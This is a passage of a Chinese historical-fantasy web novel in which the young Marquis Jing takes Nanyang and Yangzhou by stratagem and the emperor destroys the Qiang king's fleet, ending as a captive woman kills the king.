将近二十年的隐忍,新仇旧怨,两朝裂隙,化作一股冲动,让百姓主动打开了南阳的城门,驾着艨艟朝长江对岸驶来。 慊慊思归恋故乡,君何淹留寄他方。 长江长江,何时归来。 赢秀立在楼橹,隔着夜色眺望南阳城,城门已经开了,在羌人熟睡之际,汉人打开了城门。 楼橹上,有人披衣提灯,登楼而来,帝王屏退将士,径直走到赢秀身侧,手中琉璃灯粼粼光转。 赢秀做得比他想象中的还要好,不战而屈人之兵,伐谋取胜。 盯着城楼下的百姓看了半响,赢秀后知后觉地察觉到殷奂的存在,刚想说夜里寒凉你怎么出来了,看清对方身上披着金色斗篷,顿时松了一口气。 他转念想起另一件事,不由又有些忐忑,神色都变得紧张起来,仰起头,眼眸一眨不眨地盯着对方。 帝王有些诧异,摸了摸他的脑袋,等着赢秀道出来由。 赢秀用商量的语气小心翼翼道:“不是先登之功,还能封我做千夫长么?” 当了千夫长,他就可以光明正大地统领一千个人了! 帝王哑然,淡声:“寡人,封你为侯。” 至于封号,他已经想好了,就叫做靖,靖共尔位的靖。 “侯?”赢秀愣了一下,掰手指算了算,“是侯大还是千夫长大?侯可以管几个人?我是万户侯,千户侯,还是百户侯,十户侯?” 帝王想了想,言简意赅:“寡人能管多少户,你便有多少户。” ……那得有多少户? 赢秀又开始认真地掰手指了。 考虑到南阳郡人数众多,荆州士兵关押了几位还未来得及逃跑的羌人权贵,派人调防,在各处要道进驻了水师。 除此之外,并未大动干戈,依旧让原来的百姓待在郡中,未取一厘,并且给他们分配了粮食和土地。 短短几日,南阳郡的百姓都已经安置好了,郡中多是汉人,对于同为汉人的南朝人并无抵触,反倒夹道相迎,欢呼雀跃。 南阳郡不战而降的消息传遍了两朝,南朝人自是喜不胜收,更有故籍南阳的百姓连夜收拾家财,准备回一趟故乡。 至于北朝人,宁州巴郡的王帐内,世子几乎咬碎了一口银牙,对座上的羌王道: “这些汉人全都是养不熟的东西!南阳郡的汉人降了,不知道其他郡会不会降,不如先下手为强,肃清这些汉人!有一个除一个,有两个除一双!杀到他们不敢妄动为止!” 座下有几位羌人臣子跃跃欲试,显然迫不及待想要贯彻世子所言,恨不得毛遂自荐。 “砰——” 玉樽掷在氍毹上,酒液尽数撒了出来。 “胡闹!” 羌王冷冷环视四周,“以后谁再敢说这种话,杀!” 眼下不少汉人归国心切,要是他们主动杀害汉人,岂不是相当于彻底将汉人推向南朝? 中原关内,九州大地,不知有多少个汉人!岂是他们能杀得完的! “可是他们主动归降,若是没有惩罚,以儆效尤,只怕这些汉人都会纷纷效仿,风气一起,难以遏制。”朝臣忧心忡忡。 羌王冷笑了一下,声音冰冷,“那就让他们看到,待在南人手下,未必就比我朝治下更好。” 一语惊醒梦中人,世子骤然明白了父王的意思,深邃的眉骨下,眸中寒芒一闪而过。 …… 千里之外,南阳郡。 铺着碎石的廛里端直,乌黑甍宇错落低矮,草庐环列拱屹,枯藤上悬挂着风干的草鱼。 赢秀漫步在其间,一路上,不时撞见百姓牵着孩童,赶着去领官府发放的粮食,有人认出赢秀,唤他一声靖侯。 就在前几日,帝王在昭明台举行官箴,为他授爵,封他为靖侯。 这不是南朝最年轻的侯爵,毕竟,南朝多的是年纪轻轻,靠着祖上荫蔽袭爵的少年士族。 ——赢秀是最年轻的,凭着自己,以军功赢得爵位的少年侯爵。 当时,得知这一消息的将领们都有些沉默,靖侯,好一个十七岁的靖侯。 不战而胜,不费一兵一卒,攻下一座郡城。 此人确实让他们稍稍改观,但是,此次只不过是南阳百姓归国心切,故而主动归降,赢秀只不过是运气好罢了。 真要说什么城府智谋,只怕还不够格。 比起他们的腹诽,官箴那晚,赢秀高高兴兴地挨个给他们敬了酒。 他打心底里觉得这些将领很厉害,驻守边关,历经沙场,以血肉之躯守护南朝。 看他如此高兴,将领们都有些尴尬,隔空和他碰了杯,心里不约而同地觉得这孩子似乎有点傻。 他们心底觉得赢秀傻,却对他改观不少,不必帝王吩咐,他们便会主动请缨给赢秀办事。 南阳郡三十六县,便是他们帮忙安排得井井有条。 想起那夜官箴的事,赢秀不由捂脸,那夜他喝了太多酒,整个人都晕乎乎的,恍惚记得,看见身侧有个清清冷冷的大美人,一下呆住了。 大美人上前扶他,他习惯性地靠了过去,坐在对方怀里,仰头盯着美人看,左看右看,怎么看都觉得眼熟,好像在哪里见过似的。 赢秀迷迷糊糊地思考,总算想出了一个名字,“谢舟,你是谢舟对不对?” 他伸手摸索着大美人锋利昳艳的五官,从下颌到面颊,再到薄薄的唇,发自内心地夸赞:“谢舟,你好漂亮。” 谢舟盯着他,目光幽冷得有几分渗人,赢秀头晕眼花,完全看不清对方的神色,甚至还攀坐在他腿上,大胆地摸索他的衣襟。 身后似乎有许多人在低声咳嗽,也不知是得病了还是怎样,赢秀毫不在意,借着酒劲,继续扒拉谢舟的衣裳。 铁甲冰冷硌人,硌得他的手不舒服,底下似乎也有什么东西…… 赢秀皱眉,手刚要往下摸索,却骤然被人攥住,铁掌似的,牢牢地攥住他的双臂,不让他动弹。 谢舟似乎生气了,在他耳边说了一句什么,听不清楚,反正不是什么好听的话。 赢秀还要接着胡作非为,手动不了,他还有腿,盘着大美人,紧紧地缠着他。 不远处似乎响起了重重叠叠的脚步声,刻意放得很轻,仿佛要悄悄溜走,也不知是谁溜走了,赢秀懒得去看。 “谢舟谢舟,让我亲亲……” 赢秀高兴地捧着谢舟的脸,重重地啵了一下,心底幸福地冒出泡泡,咕噜噜的。 他今天高兴,看见谢舟就更高兴了,理智被酒意付之一炬,只剩下少年情窦初开的欢喜。 …… 一想到自己在众目睽睽之下,像个登徒子一样抱着帝王亲个不停,赢秀捂脸的手一直不肯放下。 他知道殷奂不喜欢他叫谢舟,许久不曾叫过了,也不怎的,一喝醉酒,什么话都说出来了。 所幸殷奂没有计较,仿佛无事发生,待他如初。 再过几日,他便要出发前去寿春。 赢秀也顾不得回想自己的糗事,巡视完南阳郡后,便回到昭明台,开始打点行装。 有人从旁协助打理,赢秀需要做的也不过是看一看名册,确认一下。 等到他做完一切准备,仅仅过去了一两个时辰,赢秀心中挂念着一件大事——那便是与殷奂道别。 荆州襄阳与寿春同在边境上,却相隔三千里路,饶是乘船沿着淮水顺流而下,来回都要半个月之久。 此去寿春,只怕至少要一两个月都不能见到殷奂了。 赢秀悄悄在心里叹息,坐在昭明台上等着殷奂从中军帐归来,没等太久,远远看见披甲的帝王登上楼台,修长挺拔的阴影一直蔓延到他脚下,将他团团簇住。 “殷奂,”赢秀开口前,先顿了顿,确认自己唤的是殷奂,“我准备出发去寿春了。” “嗯,”帝王声音很轻,似乎在克制什么,赢秀全然没有察觉,踮起脚,给了他一个大大的拥抱。 少年将脑袋贴着对方的胸膛,隔着森寒铁甲倾听他的心跳声,沉稳有力,平静和缓,好想一辈子听下去…… 赢秀压下心中没来由冒出来的念头,退回一步,低声道:“我真的要走了,等我查明白那张千里江山图上的秘密,我就回来。” 他不忘补充道:“若是查不明白,我最多待两个月也就回来了。” 他舍不得离开殷奂太久。 “嗯,” 帝王轻轻颔首,示意赢秀靠近,轻柔地替他梳理好发带,即将收回手时,动作忽而一顿,俯下身—— 赢秀只觉额头一凉,似乎有什么冰冷柔软的东西轻轻贴了上来,克制而隐忍,转瞬而逝。 轻轻在少年额头上落下一个吻,帝王转头,淡淡地睨了上前提醒赢秀启程的官兵一眼,低声对赢秀道:“去吧。” 下一次,他绝不会放任赢秀离开他身边。 赢秀点了点头,想要跟着官兵下楼,刚走出两步,脚步一滞,转过身,噔噔噔地跑了回来,抬起头,环住帝王的颈项,用力地亲了他一口。 随后,转身跑了。 徒留帝王立在原地,望着他的身影转过悬梯拐角,发间的金色发带轻轻摇曳,像一只金蝶,消失在视野中。 赢秀走了。 昭明台上的官兵鸦雀无声,屏息敛声,无人胆敢在这种关头发出一点声息。 帝王愣在原地一刹,伸手,指腹轻轻触碰自己的唇。 那里,似乎还残留着少年的温度,莽撞的,青涩的,无形地烙在他身上,久久不散。 他转身,面向昭明台的阑干,凭栏往下望去,金裳少年已经走出昭明台,正在官兵簇拥下往外走。 很快便要走到更远的地方,走到他目不能及的地方。 立在原地,望着一个人离去,原来是这种滋味。 帝王望着那道金色身影消失在视野尽头,久久没有回神,片刻后,低垂的眼眸微抬,漆眸中已然没了面对赢秀时的温情。 只剩一片令人胆寒的冰冷,肃杀。 “北朝人会来南阳郡,好好守着,一旦发现异动,格杀勿论。”帝王对身后之人道。 那人悚然一惊,尽管已经不是第一次认识到帝王的凉薄和残暴,还是不免被他语气中的杀意惊住。 “——属下明白。” …… 靖侯的卤簿沿着淮水一路往东,一路平安无虞地来到了寿春。 曾经,寿春邑一度有建康之肩髀,淮西之本源的美称,良田千亩,屯田积粮。 建元初年,宗室和士族为了阻止羌人南下,开堰淮水、淝水灌寿春,导致淮河沿岸成为泽国,一片水泊。 寿春邑虽然多了江湖之阻,借地利避免羌人南下,也因此大伤元气,远不如前。 赢秀来到寿春邑时,城门已然大开,远远便看见黑压压地人头攒动,不止是前来迎接的邑守太丞,还有不少百姓。 这些百姓探头探脑,止不住地朝车队内张望,神色既好奇,又带着某种难以言喻的激动。 随行的官兵低声问赢秀:“靖侯大人,要不要先行驱散这些百姓?” “不必,”赢秀抬手制止,他虽然不知道为何这些百姓都出城围观,但是应当没有坏心。 果然,就如赢秀所想,卤簿所到之处,不必官兵发话,寿春邑的百姓便自觉退开,隔着一段距离,不远不近地望着他。 那姿态,不像是在围观,反倒是像是在守护。 赢秀没有察觉,进去城中后,第一件事便是登上寿春邑最高的楼台,摊开千里江山图,朝北方望去。 远远眺望,只能看见远处淮水逶迤,蜿蜒如练,山色交映,更远处,是连绵起伏的山脉。 湖海群山,共同铸造了天堑,北人难以进犯,南人不得从此出。 赢秀盯着这幅画看了许久,怎么也看不出端倪,别说地势了,就连颜色也对不上…… 等等—— 电光火石间,赢秀骤然注意到一处极为关键的细节,如今是四月末,小满刚过,时值夏日。 故而草木青葱,水色明澈,比千里江山图上的色泽鲜亮浓郁几分。 ……那么,瘐明当年作画时,又是什么时节? 赢秀匆匆走下城楼,随行的官员一愣,连忙跟着他一同下楼,想要问问他是不是有什么不当之处,又不敢开口。 毕竟,这位可是天子亲封的靖侯。 与天子有着千丝万缕的关系,他们生怕得罪了赢秀,连带着触怒了天子。 那位天子的手段……可不是他们能够想象的。 赢秀回到住所,连忙找出记录着寿春坞主案的案牍,仔细地盯着瘐明的生平看了又看。 ——建元十一年冬,瘐坞主连克三洲,收到天子急诏,班师回朝。 是冬日。 瘐明当年作画时,南朝正值冬日。 应当是初冬,草木萧条,水位低下,又不至于天地一白。 有了线索,一切都好办了。 被靖侯叫进来时,寿春邑的官兵早已做好了要被刁难的准备,这些京师来的达官贵人看起来温温和和,实际上最爱刁难人。 得知赢秀只是要他帮忙买寿春邑冬日的画像,官兵一愣,这算什么要求?难不成这位靖侯是位好画之人? 好奇归好奇,他暗暗松了一口气,连忙派人出去搜寻,说来也奇怪,那群百姓听说是靖侯要买画,一个个配合得很。 不过一个时辰,便把全城的画像都买了。 将所有画卷悬于中堂,赢秀手中拿着千里江山图,一步步走过,一张张对照。 立冬,小雪,大雪,冬至……都不是,与千里江山图上的色泽对应不上。 少年仰头,目光不停地梭巡,最终停在一副画上,草木葳蕤,水天一色,下面题着字——霜降。 他低下头,这幅画的山河走势隐隐和千里江山图上一处角落对应上。 霜降图画的是寿春邑的全观,千里江山图画的却是千里江山。 赢秀停下脚步,凝望着两幅画卷,已然明白了一切。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-83 第81章 第 81 章 烽火三月 当年瘐明将战事舆图画成了画, 舆图地域辽阔,寿春的地势仅仅在千里江山图上占据了一角。 在画上找到寿春对应的位置,以此为参照, 便可一窥舆图的全貌。 赢秀盯着千里江山图看了又看, 辨认了半响, 总算看出端倪。 这图记载的是越过山河湖海之险的奇径小道, 通过小道,绕开淮河和群山, 便可达到淮南地带, 直取三洲。 换言之,这是行军的捷径。 赢秀有些激动, 小心收起千里江山图,面不改色,命人传召瘐家军。 “当年打下扬州徐州衮州,你们走的哪条道?”赢秀问道。 建元十一年, 寿春早就有了山川之固,湖海之险, 若非有要道奇径,根本不可能在羌人的眼皮子底下穿过山河湖海。 瘐家军相视一眼,早在十四年前,寿春坞主案之时, 坞主的亲信心腹皆遭毒手, 留下他们这些不甚亲近的人贬为奴籍。 至于究竟走的是那条路,他们也不甚清楚。 “我只记得,坞主领着我们绕过了淮河,在八公山中穿梭,走了好久好久, 至于走的是哪条道……” 一个四五十岁的将士摇了摇头,他记不得了。 察觉到赢秀想要重走当年的路,一个将士连忙提醒道:“山上猛兽毒虫,数不胜数,再加上山径崎岖诡谲,进去容易出去难。” 八公山奇山峻岭,藏着无数危险,若非从小到大都在山中生活,熟悉山川,只怕寻常人进去了,只会有死无生。 赢秀眸光微闪,恰好,他从小到大都在山中生活,从三岁到十三岁,十年之久。 “启禀靖侯,有人来投奔,说是您的……” 前来通传的官兵顿了顿,回想那人中气十足说的原话——“我是他爹!”,斟酌了一下,大声道:“令尊。” 瘐家军闻言看向赢秀,目光中带着好奇——赢秀的爹来了? 一炷香后。 瘐安坐在了赢秀对面。 九尺爹爹一看就是风尘仆仆而来,一身劲装,腰上绑着羊皮水囊,肩上披着狼皮祆,狼头恰好趴在左肩上,两个空洞洞的眼孔直勾勾地盯人,看起来像个茹毛饮血的野人。 “我来帮你打仗!” 这是见到赢秀后,瘐安说的第一句话。 赢秀问起爹爹来此花费了多少时间,瘐安只说,两日。 从京师到寿春,上千里路,不到两个日夜。 “这段时间,南朝上下都在议论,说你不费一兵一卒,拿下了南阳郡……” 赢秀笑了笑,“哪里是我拿下的,南阳的百姓本就神往故国,我只是顺应民意罢了。” 与此同时的荆州,汉江北面的南阳郡。 几户百姓正在江畔垂钓,不远处数十个穿着南朝士兵服饰的官兵朝他们走来,百姓笑着招手,正要开口问他们吃不吃鱼。 寒光一闪,那群官兵骤然抽出长刀,提着刀,满脸戾气,一步步朝他们走来。 百姓手中的吊竿骤然一抖,扑通落进水中,转身便要跑: “……杀人了!” 官兵笑着,正要横刀,洞穿这些南朝贱民的身体—— “噗嗤。” 官兵高高举起的长刀轰然落地,骤然低头,盯着穿透胸膛的利箭。 箭镞破风而来,宛如下了一场箭雨,密密麻麻地将“官兵”网在其中。 等到箭雨停歇,楼台上的荆州将士走了下来,查看完尸首,随口道: “把这些羌人派来的细作全部挂在城墙上。传令下去,日后谁敢伤害百姓,无论士庶,哪怕是我们军中将士,一律悬尸示众。” 说着,荆州将士低头,对吓得躲在礁石后的百姓露出了一个友好的笑容。 荆州将士:“(^_^)” “……” 南阳百姓小心翼翼地探出脑袋,试探着露出了一个笑容。 南阳百姓:“ (^▽^)|||” 随着细作的尸首被悬挂在南阳郡的城墙上,南朝部曲律法严明的消息也随之传开。 北朝闾里,随处可见有汉人百姓低声议论:“你可曾听说,南朝……据说还给了南阳的汉人田地屋舍,而且现在去官府办符信、迁居还不用花银子。” “……究竟是真是假?不如我们举家迁去南朝。” 北朝民间风向的转变,很快便传到羌王耳中,他脸色微微一变,深邃锐利的鹰目一片冰冷肃杀。 人心是战场上看不见的杀器,如今这件杀器正逐渐落入南朝手中。 南朝人承诺田地屋舍束脩,整肃军纪,只为招揽民心。北朝即使想要效仿,不仅这些汉人百姓也不会相信,羌人权贵只怕会人人自危,生怕会危及他们的利益…… “来人!”羌王怒喝一声,指着舆图,“告诉蛰伏在两地的部曲,可以开始攻城了。” 明面上,羌兵只是沿着西汉水南下,攻占巴郡,实际上,他们早就兵分三路,另外两路部曲,正埋伏在荆州襄阳和寿春邑外。 “大王,寿春外有淮水,内有群山,山河险要,我们过不去啊!”将领道。 “过不去?”羌王冷笑,“那就守着,别让他们有机会过来!” 他压下怒气,回到军帐,屏退守帐的将士,大步走了进来,冷眼盯着宛如泥俑般跪坐在帐内的明昔鸾。 “这么多年了,你还是不肯告诉本王,你究竟是如何绕过淮水,到达扬州下邳的。” 羌王抽出刀柄,轻柔地拍了拍她的面颊,“人都是会死的,真到了那一天,本王不会让你死得太轻松。” 明昔鸾始终一动不动,眉眼低低垂着,让人看不清神色。 羌王颇感无趣,冷笑道:“你的孩子,现在在寿春,据说还被封了侯,”他语气轻蔑:“叫什么来着,哦,靖侯。” 明昔鸾眼睫轻轻一颤。 寿春,她和瘐明的孩子,竟然回到了寿春。 …… 是夜,寿春邑。 “靖侯!靖侯大人!” 瞭望台上的烽子脚步匆匆地揭开军帐,“不好了!羌兵冲着这边来了!现在就驻守在八公山和淮水畔!” 坐在首位的赢秀抬起头,从沙盘上移开目光,看向他,帐内的将领出声提醒:“稍安勿躁。” “羌兵来犯,这是迟早的事,有八公山和淮水在,他们过不来,我们出不去,最多就是拖着,牵制我们这边的兵力。” 其余将领分析道。 八公山是中州咽喉,江南屏障,山势奇峻险要,凡人不能越也。 “哗啦——” 军帐被撞响,似乎是一道黑影正在试图往里飞。 将士起身揭开军帐,下一刻,一团圆滚滚的黑影便飞了进来,是从荆州飞来的鸱鸮。 打开信条,看清是荆州的印记,赢秀眉心一跳,仿佛有什么不好的事即将发生,所幸上面只写了八个字,羌人攻城,荆州宁州无虞。 言下之意,便是两州暂时平安无事。 赢秀收起信条,骤然想起一件要事,连忙问报讯的烽子:“你可曾看清,守在寿春外的羌兵究竟有多少?” 毕竟相距数里,自然不可能真的看清究竟有多少人,只能凭借目之所及的黑影粗略判断人数。 “看起来有上万之众,人影从淮水连绵至八公山外。”烽子谨慎道。 若不是看见了如此广阔的黑影,他也不至于这般惊慌。 此话一出,军帐内众将皆是倒吸一口凉气,上万羌兵,羌王竟然派了上万羌兵来围歼寿春! 赢秀没说话,静静坐了片刻,忽而朝外走去,瘐安起身跟上他。 两人一前一后登上瞭望台,赢秀眺望北方,山连着山,水萦着水,山环水绕外,隐约可见一片黑压压的阴影。 难不成,北朝当真派了这么多羌兵守在寿春邑外? “那不是人,”瘐安骤然道,他在山中生活数年,时常与草木虫蛇为伴,眼力过人。 赢秀侧眸看向他,瘐安继续道:“那是灌木。” 灌木捆成人形,树立在数里之外,以此震慑南朝。 这个消息反倒让赢秀越发不安,既然羌人用灌木掩饰,足以说明羌兵的主力不在寿春邑。 那么,又在何处? 方才见过的地名骤然浮现在他心中。 荆州,宁州。 “爹,我要去攻打扬州。”赢秀陡然道。 攻打扬州,以牵制北朝的兵力。 瘐明当年,便是从寿春启程,接连攻下扬州,徐州,衮州。 眼下的情势比瘐明当年还要严峻,即使有幸越过危险的八公山,还得设法避开羌人在城外的驻防。 …… 永宁阴历五月初一。 一转眼已是羌兵结营驻守寿春邑的第三日,背井离乡,来到这个鬼地方,终日面对群山湖海,他们也有些厌倦。 “你说,大王好好的,何必叫我们来驻守这个鬼地方?抬头是山,低头是湖,还能怕南朝士兵跑出来不成?” 一个羌兵打着哈欠,趁着换值,和前来当差的同伴闲聊。 “哎呀,你年纪轻,不知道这里发生过什么。当年,有个姓瘐的中原人领着几千士兵,不知从寿春邑哪里窜出来。” 老兵啃着糗粮,神神秘秘道:“接连打下了我们北朝三座城池,扬州,徐州,衮州,一步步往关内来!” 他的声音越来越尖利,带着十足的危险,听得年轻的羌兵一个哆嗦。 北方真冷啊,不知道何时能去南方看一看。 羌兵拢了拢盔甲,搓了搓手,目光朝下方梭巡,动作一顿,神色变得严肃了不少: “你看!”羌兵连忙高声叫道:“那里是不是有人?!” 被惊动的将领连忙循着他的目光望去,狠狠皱眉,一拍小兵的肩膀,怒骂道:“大惊小怪什么?” “明明是我们放在外面迷惑南朝的灌木!”将领无比笃定。 营地上值守的羌兵都围拢过来看,不约而同松了一口气,“就是,灌木而已——” 话说到一半,羌人骤然意识到什么——之前他们摆放的灌木,是在东南方向吗? 而且,似乎离他们越来越近了,本应距离十里,现在目测就在五里之外,裹挟着一道道风沙,滚滚而来。 “整肃白毦兵,随我去看看!” 将领抽出箭,带上白毦,带着营地将近一半的人离开。 他带着白毦兵步行了两三里路,绕了一个大圈,总算走到八公山东南面,眼见着迎面风沙滚滚,枝叶飘飞,连忙放箭。 可笑的是,那些南人前来夜袭,竟然也不知闪避,依旧维持原样,不断朝他们冲来。 只怕已经被射成筛子了吧?! 风停了。 隔着雾气,朦胧间,看见那群黑影停在原地一动不动,将领笑着命令手下停箭,让小兵上前查看。 “那群南朝人死了没?可还有活口?若有活口,带回营地!” 良久,黑暗中,终于传来小兵哆嗦的声音:“将军……它们,它们……” 将领不耐烦地走了下去,推开挡路的士兵,有心要欣赏一下自己的战绩,刚低下头,脸上的表情瞬间扭曲。 地上哪是什么南朝人,分明是他们特意扎成人形的灌木,不知被谁搬到了八公山上,被大风一吹,顺着山势滚滚而下。 带起的枝叶黄土,形成了雾气风沙,阻隔视线。 “不好!”将领如梦初醒:“快些回去!” 等到终于回到营地,面对一片狼藉的场面,将领仰天怒吼: “中原人果然诡诈!!!” 这厢,赢秀一行人,三千之众,已经越过羌人的防线,径直往扬州下邳而去。 他们人数不多,只能靠着奇兵取胜,打的就是一个出其不意。 扬州,下邳郡。 城门下,官兵正在例行巡防,南北两朝交战,战事暂时波及不到这边。是以,此地还是一片平静。 一如往常,检查过护城河和周围布防,领头的巡城官正打算折返回城,身后的官兵却不知何时没了声响—— 他以手按剑,警惕又狐疑地转过头,月光下,眼前赫然立在一位面带银白覆面,是一位金绦束发的黑衣少年。 “劳驾,帮忙开一下城门。” 少年语气客气礼貌,如果忽略他横在自己颈项上的长剑,说是在请求也不为过。 巡城官刚要喊人,却看见少年身后黑压压的都是士兵,看上去,足有上千之众。 扬州的城墙上。 栏骑正在等着外出巡城的官兵归来,等着等着,不由有些疑惑:今个儿怎么去了那么久? 他正要派人去找,城墙下骤然出现了一行人,一个两个三个四个……数量与去时对得上,身量打扮也相差无几。 总归放心不下,栏骑用羌语高声问道:“阿姜,是不是你?” 巡城官正要用羌语求救,耳边却传来少年清澈轻缓的声音,他在用羌语提醒他,让他不要妄动。 巡城官骤然僵住,这个少年竟然也会说羌语! 城楼上的栏骑等了片刻,下方终于传来巡城官的声音:“……我没事,快开门!” 得到确切的答复,栏骑放下心,对手下道:“人回来了,开城门吧!” “咣当——” 扬州城的镇淮门缓缓敞开。 赢秀和众人相视一眼,缓缓走入镇淮门。 后汉帝传记载,永宁阴历五月初十,靖侯举兵三千,再度克复扬州。 次日,等到扬州的羌人睡眼惺忪地从梦中醒来,整座扬州已经天翻地覆。 昨夜,南朝的靖侯带领上千士兵,夜袭扬州,打得守城官兵措不及防,短短一日,扬州易主,再度回到南朝手中。 赢秀登上扬州的大观楼,这些日子以来,他每到一座城池,都会登上城中最高的楼台,登高临顶,俯瞰下方。 扬州有驻兵上万,而他手里只有三千个士兵,打下来容易,想要守住,只怕没那么容易。 唯一的办法,便是把扬州的百姓,都变成他这方的人。 “事情已经办好了。”瘐安走上前,对赢秀道。 赢秀点了点头,如他所料,这件事交给瘐安来办是最合适的。 扬州不同于南阳郡,此地汉羌杂居,说不清是汉人更多,还是羌人更多。 赢秀有意要免徭役免赋税,分田地,筑水碓,让此地的百姓过得比之前更好的日子。 此事交给旁人,只怕会遭到羌人的非议怀疑,瘐安流着汉羌血脉,最适合不过。 当地羌人原本对此半信半疑,发现南朝的士兵没杀百姓一人,军纪严明,又看自己的生活似乎也没什么变化,甚至还过得更好了。 扬州城内的官兵还想要扑腾几下,不等赢秀出手阻止,百姓便已经将其按住,对其大骂一顿: “你们想要打仗,想要死人,我们可不想!” 数日后。 扬州并入南朝版图的军报雪花一样飞向各地,羌王暴跳如雷,却没有调兵回防,而是选择调度更多兵力,举国之力攻打荆州。 早在前段时间,攻打宁州之时。 羌王便渐渐明白自己被戏弄了,什么王道傀死前为了保住家族门楣,不惜告诉世子南朝的驻防薄弱点,分明是有意哄骗他们分散兵力。 他横了心,决意要打下荆州。 甚至不惜抛下刚刚纳入北朝版图的巴郡,也不管后方失落的扬州,亲自率兵,一意孤行地攻打荆州。 永宁阴历六月,荆州。 沔水上,黑云攒攒,一团团蠕动着,朝南而来。 远看是黑云,细看全是高耸入云的楼船,船上满是羌兵,密密麻麻,数量可怖。 城内的东南城台,帝王立在仲宣楼上,举目眺望,将沔水的情景收之眼底。 片刻后,帝王终于开口:“沔水两岸的百姓都已经疏散了吗?” 声音平静,却令人不寒而栗。 提前疏散百姓,会引起羌兵的疑心,纵使如此,帝王还是下令疏散。 荆州刺史语气恭敬:“微臣已经连夜疏散了两岸百姓。” 他又道:“只怕羌兵有所疑心,不肯追击到下游。” 帝王没有回应,解下身上的金色斗篷,撂下一句:“好好收着。”随后抬脚朝城楼下走去。 预感到帝王要做什么,刺史倒吸了一口气,想要劝说,却又不敢,天底下哪有这样的暴君,以自己为诱饵,去吸引敌将?! 沔水北面。 楼船源源不断地从北朝的魏兴郡启程,羌王立在楼台上,望着一艘艘楼船出江。 一个斥候疾步走来,低声道:“大王,南朝的皇帝乘着楼船出海了。” 都说擒贼先擒王,这可是南朝的昭肃帝。 昭肃帝后宫虚置,膝下没有子嗣,旁的兄弟姐妹难当大任,谁也没有他的手腕和魄力。 一旦昭肃帝身死…… 南朝群龙无首,于他们而言,便是探囊取物,瓮中捉鳖。 一旁,中原幕僚担忧道:“中原人诡诈,史书上樊城之役,水淹七军,难保昭肃帝不会效仿。” 永宁三年,羌王与领军北伐的昭肃帝交过手,深知此人的狠辣无情,不仅对敌狠辣,对自己更是狠辣,理智清醒到了疯魔的程度。 那年,昭肃帝才践祚三年,年仅十五岁。 如今,冷静疯魔的少帝已经长成青年,依旧不改当年。 昭肃帝命人疏散百姓之事,羌王早已知晓,他知道昭肃帝接下来要做什么,开闸放水,水淹三军—— “为本王备船!” 羌王厉声道。 “顺便,把她也带上。” 羌王回首,望向军帐,那里,关着明昔鸾。 正值汛期,沔水上风潇雨晦,雨点不分彼此地打在两军楼船上。 四面昏天黑地,漆黑一片,仿佛天地降下浓墨,要活生生地淹没大地生灵。 南朝朱红的旌旗在疾风骤雨中作响,一艘艘楼船在前开道,卷起千丈浪花,氤氲叆叇的雾气中,逐渐露出后方庞大的黑影,显露出巨大的楼船一角。 飞檐斗拱,鳞角崎岖,轮廓一横一竖,深深浅浅地隐在雾后,每一道都刚肃冰冷,仿佛要刺破昏暗的天穹。 北朝楼船上的羌兵仰头俯视这座镔铁铸造的怪物,眸瞳溃散,倒吸一口凉气,这……这是何等怪物! 就连坐镇后方的羌王,也忍不住猛然起身,死死地盯着那艘巨大的楼船,庞大,可怖,阴森诡谲。 “谁能取南帝首级!赏黄金万两,封侯拜相!” 羌王几乎使出全部的气力,怒喝道。 然而,楼船上的羌人只是眼睁睁看着那座巨大的楼船,宛若一柄修长冰冷的寒刀,径直割开沔水,直抵眼前。 两个时辰后。 沔水被染红了,深红,黑红,一片片,一块块斑驳地沉浮。 楼船的碎片顺流而下,起起落落,沉沉浮浮,石屑和血肉碰撞,慢慢沉入赤水中,消失不见了。 云开雨霁时,只见南朝的旌旗横插在天地间。 镔铁楼船上,帝王身上也染透了鲜血,雨水,混成血水,顺着他黑冷的鬓发往下淌,滴滴答答。 那张令赢秀神魂颠倒的眉眼,透着冷浸浸的白,面颊上溅上了斑斑血迹,眸瞳也泛着红,微垂的长睫上盈着赤色。 红与白相撞,极致的危险,恐怖。 帝王提着剑,在插着北朝王旗的楼船上寻找。 脚下,羌王大气不敢出,缩在船舱底下,听着不轻不重的脚步声从头顶传来。 留得青山在,不怕没柴烧,只要能活下来,他还能像父王那般,自草原而来,征服中原,打得这群中原人抛下长安,南渡江左。 迟早有一日,他们羌族再也不会在冬日挨饿受冻,再也不会被中原人看轻,再也不会在草原部曲中被其他族群挤兑…… 只要能活下去—— “噗嗤。” 羌王浑身僵硬,骤然睁大了通红的眼眸,僵直的颈项一寸寸朝后转去,身后,年过四旬的柔弱女子朝他露出一个微笑。 十四年来,他终于看见明昔鸾对他露出一个真心实意的微笑。 轻柔,平和,像是一阵风,转瞬即逝。 明昔鸾全然不顾残忍的暴君还提着剑,一步步在头顶搜寻,无比平静地复述羌王之前说过的话: “人都是会死的,真到了那一天,我不会让你死得太轻松。” 羌王死死地盯着她,试图拔出胸膛上的镜片,然而,不管他怎么用力,直到明昔鸾握着碎片的手也溢出了鲜血,也不见她的力道有所松懈。 “你……”羌王凝视着她,被刺的暴怒和恨意骤然平息,“十四年夫妻,你当真要杀了我吗?” “夫妻?”明昔鸾仿佛听见了什么天大的笑话,“谁和你是夫妻?” 她不顾手心被镜片扎得鲜血淋漓,深深地用力,刺入血肉。 “十四年前,我的箭偏了。” 明昔鸾语气平淡,迎着羌王沉痛的目光,毫不躲闪,“现在,我已经没有箭了,但是,我依旧可以杀你。” 羌王眼中的光芒渐渐暗淡,他颤抖着,忍着痛,从贴身的狼皮袋中取出一物,伸手递给明昔鸾。 “……我走以后,羌族就交给你了,让,让他们,回草原去。” 从始至终,明昔鸾只是冷眼看着,羌族阿依的身份,是羌王逼着她做的,她根本不在乎羌族未来究竟会如何。 “砰……” 那东西掉在船舱底下,发生重重一声响,羌王的手软软地垂了下来。 明昔鸾松开破碎的镜片,缓缓移开目光,抬头向大开的甲板看去,没什么情绪,问道:“陛下,看够了?” 帝王立在甲板上,垂眸俯视船舱,漆黑眸底一片淡漠,就连杀意也显得寡淡轻慢,冰冷剑锋上的鲜血滴落下来,落入昏暗的船舱。 他猩红昳丽的眉眼平静淡然,笑着,唤了她一声: “岳母。” 第82章 第 82 章 譬如朝露 ……岳母? 明昔鸾古井无波的神色泛起波澜, 声音也有些不稳:“……你说什么?” 帝王依旧立在甲板,提剑随手杀了一个从楼船角落冲回来的羌兵,漫不经心地擦了擦剑上鲜血。 他甚至没有和明昔鸾解释一句, 仅仅是侧眸看了一眼身后的五校尉。 五校尉上前一步, 